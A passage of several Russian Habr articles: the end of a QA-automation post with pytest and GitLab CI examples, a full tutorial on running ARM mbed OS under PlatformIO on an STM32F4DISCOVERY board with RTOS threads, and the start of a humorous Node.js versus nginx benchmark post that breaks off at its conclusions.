def test_response_status(self):
response = requests.get(self.test_url)
assert response.status_code == 200, 'response status code != 200'
def test_admin_login(self):
driver = UiElements().admin_login()
driver.quit()
```
В следующем примере мы запускаем проверку тестовой web-страницы в фоновом режиме. Сначала проверим статус ответа страницы на http-запрос, затем UI-контент на странице, потом – успешность авторизации пользователя.
Пример сценария конвейера в gitlab-ci:
```
run_prepare_data:
stage: test_app
image: [имя тестового контейнера]
when: manual
allow_failure: false
only:
- test
environment:
name: $CI_COMMIT_REF_NAME
script:
- pytest -vls run_django_task.py
- pytest -vls check_django_task.py
test_recommendation_app:
stage: test_app
image: [имя тестового контейнера]
only:
- test
environment:
name: $CI_COMMIT_REF_NAME
script:
- pytest -vls test_recommendation.py
test_recommendation_facade:
stage: test_app
image: [имя тестового контейнера]
only:
- test
environment:
name: $CI_COMMIT_REF_NAME
script:
- pytest -vls test_facade.py
perfomance_recommendation_test:
stage: perfomance_test_app
image: [имя тестового контейнера]
needs: [test_recommendation_app]
only:
- test
environment:
name: $CI_COMMIT_REF_NAME
script:
- pytest -vls load_testing.py
```
Вот так выглядит прохождение всего этапа сборки, тестирования и деплоя приложения:
Как видите, все просто! Конечно, это малая доля того, что умеет фреймворк, но примеры показывают, насколько легко применять инструменты, они очень гибки и их легко освоить.
**В заключении**
Итак, нам удалось построить фреймворк автоматизации, который может осуществить любые виды проверок и который при помощи git submodule add -b можно «прикрутить» к любому проекту. Рутинные, долгие и считавшиеся «ручными» процессы тестирования мы автоматизируем этим же фреймворком. Для простоты взаимодействия наладили систему, отправляющую уведомления и отчеты о результатах тестирования на корпоративную почту и в популярные мессенджеры всем заинтересованным лицам, что позволяет контролировать процессы и, что важно, оперативно реагировать на возникающие инциденты.
При этом мы только в начале пути! Функциональные возможности постоянно расширяются, у нас еще много наработок и идей, о которых я расскажу в других постах. Искренне надеюсь, что рассказ окажется полезным, поможет в выборе технологий для автоматизации QA и/или в выборе пути для развития.
Виталий Филаретов,
руководитель отдела контроля качества департамента управления данными компании Uma.Tech | https://habr.com/ru/post/506084/ | null | ru | null |
# ARM MBED OS. Работа с произвольным МК STM32 под PlatformIO
Когда в январе сего года я писал материал о файловой системе **LittleFS** (интегрированной в состав arm mbed os), то обещал в скорейшем времени описать создание проекта с arm mbed os для произвольного микроконтроллера **STM32**. Как известно, онлайн **IDE** от **ARM** (а точнее, выделенного подразделения **Arm mbed**) поддерживает, во-первых, строго определенное число отладочных плат, и число их невелико; во-вторых, экспортирует онлайн-примеры, на базе которых можно строить какие-то свои проекты, только для наиболее известных IDE: **ARM**, **uVision KEIL** и **IAR**. Более того, некоторые примеры не экспортируются вовсе. То есть, доступны для экспорта или только варианты для **IAR**, или только для **KEIL**, и так далее. Так что, как в то время показалось, научиться “прикручивать” arm mbed os к любому МК было бы не лишним вовсе.
Однако, жизнь вносит свои коррективы в любые планы, и работать в этом направлении длительное время не получалось. Но вопрос оставался открытым, и теперь, по прошествии значительного времени, я возвращаюсь к тематике.
Так или иначе, оставался неразрешенным один немаловажный вопрос. Мы все используем различные **IDE** и различные тулчейны. Процесс портирования довольно непрост, и требует определенных танцев с бубном. К примеру, ассемблер для **GCC** не поддерживает синтаксис x86 (там **AT&T**), поэтому самая первая и элементарная проблема, с которой тут столкнется программист – это ругань того же **GCC**-шного компилятора на ассемблерные вставки в исходных кодаx операционной системы Arm mbed.
Кто-то пользуется **IAR**, кто-то **uVision**, кто-то пишет в **Sublime Text**, а кто-то (как и я) – в **Code::Blocks**. Кто-то использует Windows, а кто-то – Linux. Объять необъятное и охватить неохватываемое мы не в силах, и при этом оставить один из вариантов без рассмотрения – значит оставить за бортом какую-то часть аудитории.
Решение пришло внезапно и оказалось весьма простым и универсальным.
### PlatformIO IDE.
**PlatformIO** – кроссплатформенный тулчейн, написанный на python, наличие которого на машине пользователя является, пожалуй, единственным обязательным условием (не ниже версии 2.7).
По своему исполнению и использованному инструментарию **PlatformIO** мне напомнил несколько лет назад вышедшую IDE **MicroEJ Studio**, в которой можно было писать код для микроконтроллеров на Java. В дальнейшем в МК заливалась MicroJVM (написанная на С), и код исполнялся в ней. Широкого распространения, впрочем, среда не получила, и в массы не пошла.
**PlatformIO** может использоваться в составе ряда широко распространенных IDE и редакторов кода:
* **Atom**;
* **Clion**;
* **Eclipse**;
* **Emacs**;
* **NetBeans**;
* **Qt Creator**;
* **Sublime Text**;
* **VIM**;
* **Visual Studio**;
* **VSCode** и т.д.
Основной особенностью **PlatformIO** является использование конфигурационного файла “platformio.ini”, который используется для определения тарджет-платформы проекта, и последующей подгрузки библиотек и построения зависимостей в соответствии с тем описанием, что находится в этом конфигурационном файле.
Основными элементами являются **PlatformIO IDE** и **PlatformIO Core**.
В довольно-таки уже далеком 2016 году **PlatformIO** была кандидатом на награждение в номинации “Best IoT Software&Tools” в конкурсе 2016 IoT Awards.
Это в общих чертах. Подробную документацию можно изучить на сайте проекта platformio.org и в разделе [Документация](http://docs.platformio.org/en/latest/).
Наша же задача – установить требуемые средства разработки, создать проект, и что-то в нем сделать.
### Atom vs. VS Code
На домашней странице к загрузке предлагаются два редактора: **Atom** и **VS Code**. Я попробовал оба, и сразу скажу: **VS Code** удобнее. Хотя бы потому, что в нем элементарно присутствует переход по коду. Забегая вперед, скажу: в проекте библиотек и исходников arm mbed os вы не увидите, они все сидят в локальном репозитории, поэтому в дереве проекта будут только ваши **main.cpp** и всё прочее, что создадите вы сами. Поэтому смотреть какие-то объявления, классы и их объекты, интерфейсы классов, придется сто процентов. А **Atom** такой возможности… не представляет! И при использовании **Atom** довольствоваться нужно будет только документацией mbed os. Согласитесь, это неудобно.
Итак, дальнейшее рассмотрение процесса я провожу в применении к **VS Code**. Нам необходимо проделать следующие шаги:
1. Установить VS Code.
2. Установить PlatformIO IDE.
3. Настроить udev rules (для пользователей Линукс) – возможно, это не понадобится, но чтобы потом не подпрыгивать на стуле, нанесем превентивный удар.
4. Создать проект и включить в него минимальный функционал. Удостовериться, что он собирается, грузится и отлаживается на плате (в качестве сервера используется OCD/GDB).
Устанавливаем **VS Code**, предварительно перейдя по [ссылке](https://platformio.org/platformio-ide), и скачав установщик для желаемой системы.
После установки запускаем редактор, открываем панель расширений (Extensions), и вводим в поиске “platformio”. Первым же вариантом выскочит “**PlatformIO IDE**”. Нажимаем “Install”, дожидаемся окончания установки, перезагружаем редактор.
Пользователям Linux можно сразу установить udev rules для адекватной работы отладчика. В принципе, этот шаг можно опустить, и вернуться к нему в том случае, если при старте отладчика терминал выдаст сообщение вроде “**Remote communication error. Target disconnected.: Connection reset by peer.**”
Открываем терминал и пишем в нем:
```
sudo curl -fsSL https://raw.githubusercontent.com/platformio/platformio-core/develop/scripts/99-platformio-udev.rules > /etc/udev/rules.d/99-platformio-udev.rules
```
Если терминал выдаст “Permission denied”, то скачиваем файл “99-platformio-udev.rules” по [ссылке](https://raw.githubusercontent.com/platformio/platformio-core/develop/scripts/99-platformio-udev.rules), и принудительно копируем файл в etc/udev:
```
sudo cp 99-platformio-udev.rules /etc/udev/rules.d/99-platformio-udev.rules
```
Учтите, что после команды cp должен быть определен полный путь к файлу. Если файл .rules находится в папке, к примеру, “Downloads”, то терминальная команда будет выглядеть так:
```
sudo cp ~/Downloads/99-platformio-udev.rules /etc/udev/rules.d/99-platformio-udev.rules
```
Далее выполняем:
```
sudo usermod -a -G dialout $USER
sudo usermod -a -G plugdev $USER
```
где **$USER** – это имя вашего пользователя. К примеру, у меня это subdia.
После этого все проблемы с отладчиком, если они могли возникнуть, должны решиться.
### Окружение и локальный репозиторий arm mbed os
После установки окружения не будет лишним понять, где находится локальный репозиторий arm mbed os (как я уже говорил, в дереве проекта вы его не увидите), где находятся все исходники mbed os, и куда сохраняется скомпилированный проект.
В процессе установки **platformIO** разворачивает локальный репозиторий arm mbed (и не только его) по пути $HOME/.platformio/packages. Вот, к примеру, arm mbed.
Файлы прошивки и прекомпилированные исходники находятся непосредственно в папке проекта.
Это всё, что нам нужно знать о том, что где хранится. Перейдем непосредственно к созданию проекта.
### Создание проекта.
Вкратце о создаваемом проекте. По очевидным причинам, я принял решение создать проект для платы, которая не включена в состав поддерживаемых ARM online IDE, а именно **STM32F4DISCOVERY**.
В мире встраиваемых систем принято создавать демонстрационные проекты с миганием светодиодов. Мы этого делать не будем – это уже просто и неинтересно. **PlatformIO** подразумевает несколько типов проектов: **cmsis**, **hal**, **rtos**, и так далее. Так как речь сейчас идет об arm mbed os, то есть об операционной системе, создадим проект именно для **rtos**.
В проекте мы создадим и запустим три задачи (Task): первая будет выполнять перемножение массивов типа *float* (у нас же процессор Cortex-M4F, так воспользуемся FPU), вторая задача… ну ладно — мигать светодиодами (=)), а третья – определять степень загруженности процессора.
Итак, поехали.
Открываем **VS Code**. Первым делом откроется окошко **PIO Home**. Выбираем “**New Project**”.
В окне “**Project Wizard**” указываем название проекта (у нас пусть это будет “armmbed\_F407\_CPU\_usage”), и выбираем плату в выпадающем списке “**Board**”. Для читателей, планирующих использовать материал при написании софта для своих авторских плат: да, привязка к конкретной плате, но все ноги и периферию можно перенастраивать. Далее я пару слов об этом скажу, не спешите расстраиваться. Итак, **Board**.
Выбираем **STM32F4DISCOVERY**, и переходим в окно “**Framework**”. Тут у нас несколько вариантов.
Так как мы условились использовать arm mbed os, то очевидно, что здесь выбираем вариант “**mbed**”. Жмем “**finish**” — готово. Мастер маленько подумает, и откроет свежесозданную болванку проекта. Взглянем на это.
Как я уже упоминал выше, в проекте всего две папки по умолчанию: **lib** (пустая) и **src**, содержащая единственный файл **main.cpp**. Всего исходного кода, напомню, здесь мы не увидим. Но тем не менее, мы имеем возможность использовать весь функционал arm mbed os. Чтобы использовать **rtos**, мы должны добавить флаг сборки в файл “**platformio.ini**”:
```
build_flags =-DPIO_FRAMEWORK_MBED_RTOS_PRESENT
```
Вообще, конфигурационный файл заслуживает отдельного рассмотрения. Мне этот подход напомнил **TIRTOS/SYSBIOS** от **Texas Instruments** с их конфиг-файлом **.cfg**, хоть в arm mbed все и проще намного. В конфигурационном файле можно декларировать многое — от аппаратных ресурсов до флагов сборки и отладки. К примеру, вот состав простейшего конфигурационного файла:
```
[env:disco_f407vg]
platform = ststm32
framework = mbed
board = disco_f407vg
```
А это — конфиг-файл нашего примера в окончательном его виде:
```
[env:disco_f407vg]
platform = ststm32
board = disco_f407vg
framework = mbed
build_flags = -DPIO_FRAMEWORK_MBED_RTOS_PRESENT -O1 -Wl,-u_printf_float
-D std=gnu99 -fno-builtin-printf -fexceptions -fpermissive
debug_flags = -D DEBUG=1 -DDEBUG_LEVEL=DEBUG_NONE
monitor_baud = 115200
```
Так что здесь есть что осваивать на досуге.
Итак, начинаем приводить проект в тот вид, который нам необходим.
Я буду приводить код блоками, и пояснять, что в нем происходит. Для начала, мы должны включить в исходник заголовочные файлы “**mbed.h**” и “**rtos.h**”. Думаю, понятно, зачем.
Функция “**main**” примет следующий вид:
```
/**************************************************************************/
int main (void) {
Thread thread0;
Thread thread1;
Thread thread2;
Thread::attach_idle_hook (&sleeping_sun);
thread0.start (&ledblink);
thread1.start (&cpu_usage);
thread2.start (&math_thread);
while (true) {
}
}
/**************************************************************************/
```
Сначала мы создаем объекты класса “**Thread**”, то есть по сути, наши задачи (Task, Thread), которые будут нам обеспечивать определенный функционал.
Если кто-то обратил внимание, то следующей строкой значится
```
Thread::attach_idle_hook (&sleeping_sun);
```
Это задача “**idle**” — то есть задача с пониженным приоритетом, которой отводится только то время, которое остается у процессора после выполнения задач с нормальным и повышенным приоритетами. Ну, в нашем случае эта задача останется голодной, так как у процессора не останется на нее времени. Я привел это здесь просто для примера.
Далее мы запускаем задачи по очереди методом “**start**”, передавая ему ссылки на функции задач, а именно на то, что будет выполняться в процессе. Это “**ledblink**” — шморгалка, “**cpu\_usage**” — подсчет загрузки CPU, и самая тяжелая — “**math\_thread**”, выполняющая перемножение массивов.
Посмотрим по очереди на каждую из задач. С “**ledblink**” все просто.
```
/**************************************************************************/
void ledblink (void) {
while (true) {
myled1 = !myled1;
Thread::wait (500);
}
}
/**************************************************************************/
```
Мы поочередно меняем состояние вывода со светодиодом на противоположное, и вызываем задержку в 500 мс. Кстати, декларация “**myled1**” выглядит так:
```
DigitalOut myled1(LED1);
```
Обратим теперь свое внимание на задачу “**cpu\_usage**”.
```
/**************************************************************************/
void cpu_usage (void) {
Timer tim;
CPU_Usage cpu(tim, 1);
cpu.working();
uint8_t value = 0;
while (true) {
cpu.delay(0.25);
value = cpu.update();
pc.printf("CPU %i", value);
}
}
/**************************************************************************/
```
Здесь уже все несколько сложнее. Вообще, дабы не выдумывать велосипед, я использовал готовую библиотеку, написанную одним веселым парнем еще в 2014 году для arm mbed, которая так и называется: **CPU\_Usage**. Взять ее можно по [ссылке](https://os.mbed.com/users/dextorslabs/code/CPU_Usage/), там же приводится краткое ее описание. Библиотека использует таймер (мы видим объект класса **Timer tim**). Сначала вызывается конструктор класса “**cpu**”, затем поочередно методы “**working**” (начало работы), и “**update**” — вычисление загрузки процессора в процентах.
Пожалуй, сейчас самый подходящий момент для демонстрации. Покажу скрин из режима отладки.
Слева вверху видим значение “**value**” = 95. Значит, процессор в тот момент был загружен на 95%. Вообще, по результатам эксперимента это значение при выполнении одних и тех же задач варьировалось от 87 до 98%.
Кстати, почему я демонстрирую скриншоты из дебаггера, а не из терминала? Все просто, у меня под рукой нет переходника UART-USB, поэтому я не могу использовать UART терминал (вот эта функция “**pc.printf()**” — это как раз вывод по UART, pc — объект класса **Serial**).
И последняя, и самая прожорливая для процессора – задача “**math\_thread**”. Посмотрим на нее – сначала в “голом” виде, затем немножко дополним плюшками arm mbed.
```
/**************************************************************************/
void math_thread(void) {
volatile uint16_t rand_num_dmassi1 = 0;
volatile uint16_t rand_num_dmassi2 = 0;
float result;
while (true) {
rand_num_dmassi1 = RandomMassIndex();
rand_num_dmassi2 = RandomMassIndex();
result = (DigMas1[rand_num_dmassi1]*DigMas2[rand_num_dmassi2]);
}
}
/**************************************************************************/
```
Когда я придумывал, чем поднагрузить процессор, перемножение массивов сразу пришло мне на ум. И я вспомнил ситуацию, как заказчик, для которого я кое-что делал удаленно (и отлаживал тоже удаленно, через полмира), кричал мне в скайп: “*Вы же программист, так загрузите процессор! Он же совсем холодный, сделайте так, чтобы он нагрелся!*”. Давайте теперь уже таки сделаем так, чтобы наш MCU нагрелся. =)
И я решил перемножать массивы не последовательно, а генерировать их индексы с помощью генератора случайных чисел. И тут мне снова на помощь пришла одна замечательная математическая библиотека: **alglib**. Она охватывает огромный пласт математического функционала, и взять ее можно [здесь](http://alglib.sources.ru/). Весь огромный пласт функционала мы использовать, конечно же, не будем, а воспользуемся небольшим кусочком.
Если посмотреть на задачу-вычислитель произведения, то мы увидим там два вызова “**RandomMassIndex()**”. Это как раз функция, возвращающая значение в диапазоне (у нас диапазон ограничен числом элементов массивов).
```
/**************************************************************************/
uint16_t RandomMassIndex (void){
uint16_t randval;
alglib_impl::ae_state mystate;
randval = alglib_impl::ae_randominteger(18, &mystate);
return randval;
}
/******************************END_OF_FILE*********************************/
```
Итак, что мы здесь делаем. Сначала инициализируем структуру “**ae\_state**” (она используется для внутренних нужд), а затем – просто вызываем метод “**ae\_randominteger**”, которому передаем ссылку на нашу структуру, и диапазон, в котором мы хотим получить сгенерированное случайное число (у нас это 0..18). Эта цифра должна быть меньше максимально генерируемого значения. Число элементов массива у нас – 20 (0..19), и максимальное число равно 19. Так что нам в качестве граничного аргумента 18 подойдет как нельзя лучше.
Кстати, можно посмотреть на результаты вызова этой функции.
Вверху слева – сгенерированные случайные индексы массивов, “**rand\_num\_dmassi1**” и “**rand\_num\_dmassi2**”. 13 и 12.
Прогоним еще один цикл, посмотрим – изменятся ли.
11 и 17. Изменились. Значит, все работает.
Раз уж мы заговорили об анализе ресурсов (в частности, об использовании процессорного времени), то немного уделим времени памяти и приоритетам задач. В arm mbed os реализован целый класс **rtos::Thread** для этих нужд.
Прямо в задачу “**math\_thread**” добавим следующие строки:
```
osThreadId_t this_thread_id;
volatile uint32_t this_thread_stacksize;
volatile osPriority_t this_thread_priority;
this_thread_id = osThreadGetId();
this_thread_stacksize = osThreadGetStackSize(this_thread_id);
this_thread_priority = osThreadGetPriority(this_thread_id);
```
Здесь (и выше) я использовал ключевое слово volatile – чтобы переменную можно было отслеживать.
Итак, сначала мы получаем **ID** задачи для дальнейшего использования. Затем вызываем методы для определения стека задачи и ее приоритета. Приоритет можно менять на ходу – в некоторых применениях это востребовано.
Смотрим.
Видим, что размер стека задачи равен 4096 байт, а приоритет – **osPriorityNormal**. Нормальный, в общем, приоритет.
Кроме этого, мы можем оценить степень используемости, размер неиспользованного и использованного стека. Прямо в **main** добавляем:
```
volatile uint32_t threads_stack;
volatile uint32_t threads_max_stack;
volatile uint32_t free_stack;
volatile uint32_t used_stack;
```
И после запуска задач:
```
threads_stack = thread0.stack_size();
threads_stack = thread1.stack_size();
threads_stack = thread2.stack_size();
threads_max_stack = thread0.max_stack();
threads_max_stack = thread1.max_stack();
threads_max_stack = thread2.max_stack();
free_stack = thread0.free_stack();
free_stack = thread1.free_stack();
free_stack = thread2.free_stack();
used_stack = thread0.used_stack();
used_stack = thread1.used_stack();
used_stack = thread2.used_stack();
```
Здесь вызываются четыре метода. “**Stack\_size()**” возвращает размер стека задачи (аналогично тому, что мы оценивали чуть ранее), “**max\_stack()**” возвращает размер максимально использованного в процессе выполнения, “**free\_stack()**” возвращает размер свободного места, а “**used\_stack()**” — размер использованного. Возвращаемые значения – в байтах. Для всех трех наших задач эти величины будут одинаковыми.
Посмотрим, что нам покажут ~~по телевизору~~ в дебаггере.
Как видим, от 4096 байт мы откушали совсем немного – всего 64 байта, и имеем в запасе еще аж 4032 байта.
Пожалуй, на этом с экспериментами и анализом мы закончим – я и так заигрался.
Да, что еще хотел сказать по поводу авторских плат. Сейчас кто-то может сказать, мол, вот – взял **F4Discovery**, на ней поигрался в свое удовольствие, а у меня вообще плата самодельная, и светодиоды вообще висят на других ногах, и в целом, я хочу **SPI** на ней поднять. Так вот, в репозитории **armbed**, в папке “**targets**” (выбираем дальше уже свои вполне конкретные MCU – их там тьма), в директориях каждого микроконтроллера, есть чудесные хидеры с названиями “**PinNames.h**”, “**PeripheralPins.h**” и “**PeripheralNames.h**”. Редактируя эти файлы, можно добавлять/редактировать/удалять периферию.
На этом, пожалуй, я остановлюсь. Больше примеров для различных применений arm mbed (в том числе и не-**rtos**, а просто **bare metal**) можно клонировать или скачать [архивом здесь](https://github.com/platformio/platform-ststm32).
[Ссылку на архив](https://drive.google.com/open?id=1K4Xy5GsFXCdxxB3eqwqipLs63xdDDxEn) (Google диск) с нашим созданным примером прикрепляю к материалу, а полный исходный код размещаю ниже под спойлером — для полноты охвата всей картины. Если что – добро пожаловать на почту subdia.subdia@gmail.com.
**main.cpp**
```
#include "mbed.h"
#include "rtos.h"
#include "CPU_Usage.h"
#include "alglibmisc.h"
#include "ap.h"
DigitalOut myled1(LED1);
DigitalOut myled2(LED2);
Timer tim;
CPU_Usage cpu(tim, 1);
Serial pc(USBTX,USBRX,9600);
#define PRETTY_ENOUGH 20
float DigMas1[PRETTY_ENOUGH] = {0.1234, 1.1234, 2.1234, 3.1234, 4.1234, 5.1234, 6.1234, 7.1234, 8.1234, 9.1234, 10.1234, 11.1234, 12.1234, 13.1234, 14.1234, 15.1234, 16.1234, 17.1234, 18.1234, 19.1234};
float DigMas2[PRETTY_ENOUGH] = {0.5678, 1.5678, 2.5678, 3.5678, 4.5678, 5.5678, 6.5678, 7.5678, 8.5678, 9.5678, 10.5678, 11.5678, 12.5678, 13.5678, 14.5678, 15.5678, 16.5678, 17.5678, 18.5678, 19.5678};
uint16_t RandomMassIndex (void);
/**************************************************************************/
void math_thread(void) {
volatile uint16_t rand_num_dmassi1 = 0;
volatile uint16_t rand_num_dmassi2 = 0;
float result;
osThreadId_t this_thread_id;
volatile uint32_t this_thread_stacksize;
volatile osPriority_t this_thread_priority;
while (true) {
rand_num_dmassi1 = RandomMassIndex();
rand_num_dmassi2 = RandomMassIndex();
result = (DigMas1[rand_num_dmassi1]*DigMas2[rand_num_dmassi2]);
this_thread_id = osThreadGetId();
this_thread_stacksize = osThreadGetStackSize(this_thread_id);
this_thread_priority = osThreadGetPriority(this_thread_id);
}
}
/**************************************************************************/
void cpu_usage (void) {
uint8_t value = 0;
while (true) {
cpu.delay(0.25);
value = cpu.update();
pc.printf("CPU %i", value);
}
}
/**************************************************************************/
void ledblink (void) {
while (true) {
myled1 = !myled1;
Thread::wait (500);
}
}
/**************************************************************************/
void sleeping_sun(void) {
return;
}
/**************************************************************************/
int main (void) {
Thread thread0;
Thread thread1;
Thread thread2;
volatile uint32_t threads_stack;
volatile uint32_t threads_max_stack;
volatile uint32_t free_stack;
volatile uint32_t used_stack;
Thread::attach_idle_hook (&sleeping_sun);
thread0.start (&ledblink);
thread1.start (&cpu_usage);
thread2.start (&math_thread);
threads_stack = thread0.stack_size();
threads_stack = thread1.stack_size();
threads_stack = thread2.stack_size();
threads_max_stack = thread0.max_stack();
threads_max_stack = thread1.max_stack();
threads_max_stack = thread2.max_stack();
free_stack = thread0.free_stack();
free_stack = thread1.free_stack();
free_stack = thread2.free_stack();
used_stack = thread0.used_stack();
used_stack = thread1.used_stack();
used_stack = thread2.used_stack();
cpu.working();
while (true) {
}
}
/**************************************************************************/
uint16_t RandomMassIndex (void){
uint16_t randval;
alglib_impl::ae_state mystate;
randval = alglib_impl::ae_randominteger(18, &mystate);
return randval;
}
/******************************END_OF_FILE*********************************/
```
Спасибо за внимание, всем удачного дня и хорошего настроения.
 | https://habr.com/ru/post/358682/ | null | ru | null |
# Node.JS + taskset == немного странного юмора
Регулярно слышу фразу типа «Node.js не подходит для хайлоада».
Захотелось самому посмотреть.
Хотел написать комментарий к [той](http://habrahabr.ru/post/207460/) статье, но передумал и написал больше. Автору той статьи, большое спасибо за интересный топик, задело.
В интернете кто-то не прав. Наших бъют! Обидно, да. Для себя выводы кое-какие сделал, но это же мои субъективные цифры. Что думать в целом — не знаю, пишите пожалуйста в каментах своё мнение.
**UPD 3** По результатам обсуждения найдено то, что было нужно написать с самого начала, то, что я подразумевал, а именно: что тест не репрезентативный, единственное, что он показывает — что На Моей очень слабой машине нода отстаёт on Nginx на пол порядка всего. Нода, как и Nginx, почти ничего не делают, в этом смысле они «равны». Хотел показать, что есть taskset, что нода может не перегружать проц при определённых условиях, что не нужно верить тестам.
Ссылка на GIT под катом есть. Есть немножко конфигов, оптимальных только для меня. Статья сумбурная и по большей части шуточная. Пожалуйста — не читайте, если не готовы относиться подозрительно к цифрам, бенчмаркам и странным выводам незнакомых Вам людей, выражающих свои мысли с постоянно меняющимся контекстом ассоциативных отсылок к гуманитарному складу мышления.
**UPD 1** немножко по-tag'ал как «юмор», м. б. так будет правильней.
**UPD 2** не верьте ни единому слову!
Я — шаман! Тихо беру в руки бубен и расчехляю [варган](http://ru.wikipedia.org/wiki/%D0%92%D0%B0%D1%80%D0%B3%D0%B0%D0%BD)…
Не люблю ресурсы, т.к. понимаю, что в случае ЧС их у меня не будет.
Поэтому у меня они весьма скромны: [AMD C-60](http://ru.wikipedia.org/wiki/AMD_Brazos) / 4 Gb / SSD.
Всё это запаковано в нетбук, весит около килограмма и управляется Linux Mint. Предвижу вопросы, поэтому отвечу сразу. Да, бывает и такое, что я готовлю. Ещё я крестиком вышивать умею как [Матроскин](http://ru.wikipedia.org/wiki/%D0%9A%D0%BE%D1%82_%D0%9C%D0%B0%D1%82%D1%80%D0%BE%D1%81%D0%BA%D0%B8%D0%BD). [Пою на гитаре](http://lurkmore.to/%D0%93%D0%B8%D1%82%D0%B0%D1%80%D0%B0) как [Элвис](http://lurkmore.to/%D0%AD%D0%BB%D0%B2%D0%B8%D1%81). По дому там могу гвоздь забить пассатижами. В общем — подарок семье: незаменимый специалист широкого профиля.
А увлекаюсь я программированием на JavaScript. Нет, я могу читать Python, Ruby, PHP, Perl, VB, C#, Java, etc. Но писать не могу, «не лежит душа». И образования у меня нет профильного, ИТ-шного, поэтому пользуюсь банальной логикой и тем, что от природы иногда предпочитаю думать своей собственной головой, а не чъей-нибудь чужой. Тем и живу.
Поставили мне Заказчики задачу сферического сравнительыного анализа Node.JS и Nginx. Т.к. мерять нужно было потенциальную производительность самой ноды, то задачу поставили хитро:
— NGINX отдаёт только свою дефолтную статическую страницу index.html.
— Сервер Node должен вести подсчёт соединений и выдавать в каждом ответе результат, так же считать и максимальное количество.
— Клиентское ПО должно считать количество обработанных запросов в секунду, т.е. удачно завершившихся со статусом 200 OK.
Понятно, что nginx выиграет. Но суть не в нём, а в сравнении. Т.е. именно во сколько раз интерпретатор ноды хуже чем статика Nginx.
Конечно, я понимаю, что заставить ноду отдавать статику тоже можно. Но Вы попробуйте научить nginx бизнес-логике в десяток таблиц за пару часов?
Ссылка на GIT будет в конце. Use Case тем кто «в танке» будет там же.
Расскажу немного как я до этого докатился, чтобы, так сказать, развеять сомнения.
Все мы знаем, что современные процессоры работают последовательно.
Знаем то все, но вот понимаем как хотим, а не так как правильно!
Скажите, Вы можете думать над несколькими вещами сразу? А если в этот момент зазвонит телефон и Вам нужно будет ответить на звонок? А если параллельно с телефоном к Вам подойдёт человек-коллега, к котор[ой||му] у Вас симпатия и задаст какой-нибудь очень важный вопрос? А если при этом ещё вдруг мимо будет проходить человек-БОСС, заглянет в экран на котором в несвёрнутом окне браузера красуется лурк или ещё чего веселей?
Вот то то же — обработка прерываний и переполнение стека.
Казалось бы — при чём здесь асинхронность?
Но, если Вы, вдруг, по какой-нибудь страшной причине всё-таки не поняли до конца, то советую ещё раз задуматься.
У Вас, например, максимально мозг может удерживать 8 оперативных задач, по аналогии с 8-ю ядрами проца. Остальные — они где-то там, когда-то будут, до них ещё далеко.
Сами думайте как это представить, поиграйте в [Загадку Энштейна](http://en.wikipedia.org/wiki/Zebra_Puzzle) чтоль. Получается у Вас там всю многопоточность только в голове удержать (как в L1-L2 Cache), всмысле, да — без листочка (Mem)?
---
Вот теперь давайте считать.
Запускаете Вы свою приложуху на ноде, там у Вас стандартный код, может быть [отсюда](http://nodejs.org/api/cluster.html) .
```
var cluster = require('cluster');
var numCPUs = require('os').cpus().length;
...
for (var i = 0; i < numCPUs; i++) {
cluster.fork();
...
```
Или что-нибудь похожее, с многопоточностью.
Как Вы думаете, кто будет потоками рулить?
Правильно — Operating System.
А в системе кто ими рулит?
Правильно — Linux Kernel \ Windows Core — Hardware Abstraction Layer (hal.dll, наверное, могу ошибаться).
Пока вроде бы, ничего такого подозрительного нет.
Но давайте всё-таки чуточку подумаем ещё!
Пусть кроме ноды у нас больше вообще ничего не установлено.
Что ещё есть на этом «железе» кроме неё?
Правильно — Operating System.
А в ней вся та требуха, которая рулит потоками. Вам не кажется загадочным то, что такая простая штука как последовательные инструкции, пусть даже в асинхронном режиме, обслуживается и абстрагируется такой сложной штукой как многопоточность и параллельность задач в мире ядра?
Итак, каждое из железных ядер процессора считает последовательно. Над ними исполняемый код ядра, который типа пытается ВСЁ представить как параллельное мультизадачное и прочие рюшечки. Внутри, под управлением ядра OS крутится однопоточный код нодовых процессов, которых у нас 8 штук, по количеству ядер CPU.
Что будет с полимерами когда к нам поступит «IO» в ядро по сетевому стеку, например по HTTP? Вроде пока ядро OS справляется…
А если нода уже всё утилизировала на всех 8-ми ядрах? Вроде пока ядро OS тоже справляется…
Но здесь я бы уже хотел посмотреть на бенчмарк!
Давайте так и поступим!
1. Сравним ноду с Nginx, как описано в задачке выше.
2. Сравним отзывчивость ноды с полной загрузкой CPU и без неё.
Сразу скажу, что все тесты я крутил минут по 10, занимаясь при этом обычными задачами типа кода и сёрфинга.
Да, для того, чтобы заставить процесс работать лишь на определённых ядрах в Linux существует taskset.
В ноде я использую его так:
```
var PID = process.pid;
exec('taskset -pc ' + affinity + ' ' + PID);
```
ПО для запросов я тоже написал на ноде через [request.js](https://github.com/mikeal/request), важно было не забыть про http.agent.maxSockets. Можно было, конечно, CURL, но хотелось самому всё посчитать.
Итак, первый тест: сервера на Nginx и Node, Max 10000 открытых запросов. В реальности вышло меньше, конечно. Эта цифра — просто количество request в массиве запросов а не их реальное значение в секунду. Можно и больше запросов, но я мерил разницу, а не производительность.
На моём железе нода выдержала больше 1200 ответов в секунду. А nginx выдержал их около 3500.
Я понимаю, что такой хлам кому-то — не показатель. Но мне очень даже показатель, учитывая что сервер ноды без всякого кластера крутился на нулевом ядре, а запросы на первом.
Т.е. разница даже не на порядки, а всего лишь в разы!
Интересно, что первое время отдача постепенно возрастает, потом стабилизируется итоговой цифре. Минуты через три примерно.
Второй тест был для самой ноды:
| | | | | |
| --- | --- | --- | --- | --- |
| | Режим | ~RPS | ~PWait | ~Mem |
| 1. | Когда сервер ноды и ПО запросов не получили affinity вообще. | 1400 | 6.5 | 95M |
| 2. | Cервер и Запросы с affinity из теста с nginx. | ~1200-1300 | ~5.2 | 85M |
| 3. | Сервер с affinity, запросы без. | 1100 | ~5.5 | 100M |
| 4. | Сервер без affinity, запросы с ним. | 1200 | ~6. | 90M |
Все замеры цифр производились визуально после 3 минут работы, когда всё стабилизируется.
Интересно, что память нодой сначала интенсивно «жрётся», потом чуть чуть падает, видимо сборщик отрабатывает.
**~RPS** — примерно Requests Per Second.
**~PWait** — примерное время ожидания страницы в реальном браузере. Косвенный показатель нагруженности системы когда что-то делаешь ещё кроме смотрения на бегущие циферки.
За памятью я подглядывал через htop.
Эмм — то есть всё как бы в пределе статистической погрешности.
Просто представим, что там кроме ноды ещё БД, redis, HaProxy и Nginx.
+ Бизнес логика реальная, а не пара сумматоров.
Чьими будут «тапки»?
Мои выводы для меня:
0. Node — уже вполне себе хорош как интерпретатор.
